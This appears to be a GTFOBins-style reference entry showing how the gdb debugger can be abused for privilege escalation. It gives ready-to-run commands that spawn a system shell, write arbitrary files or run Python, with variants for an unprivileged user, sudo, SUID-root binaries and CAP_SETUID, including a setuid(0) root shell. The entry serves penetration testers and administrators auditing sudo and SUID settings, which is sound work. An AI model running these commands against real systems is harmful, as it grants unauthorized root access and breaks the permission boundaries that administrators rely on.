Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    gdb -nx -ex '!/bin/sh' -ex quit
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    gdb -nx -ex '!/bin/sh' -ex quit
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    gdb -nx -ex '!/bin/sh' -ex quit
    This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.
    RemarksThe following capabilities are needed: CAP_SETUID.
    gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit

File write

This executable can write data to local files.
  1. This function can be performed by any unprivileged user.
    gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit

Inherit

This executable can inherit functions from another.
  1. CommentThis allows to run Python code (...).
    This function can be performed by any unprivileged user.
    gdb -nx -ex 'python ...' -ex quit
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    gdb -nx -ex 'python ...' -ex quit
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    gdb -nx -ex 'python ...' -ex quit
    Functions

    Inherits from python, thus possibly granting its functions.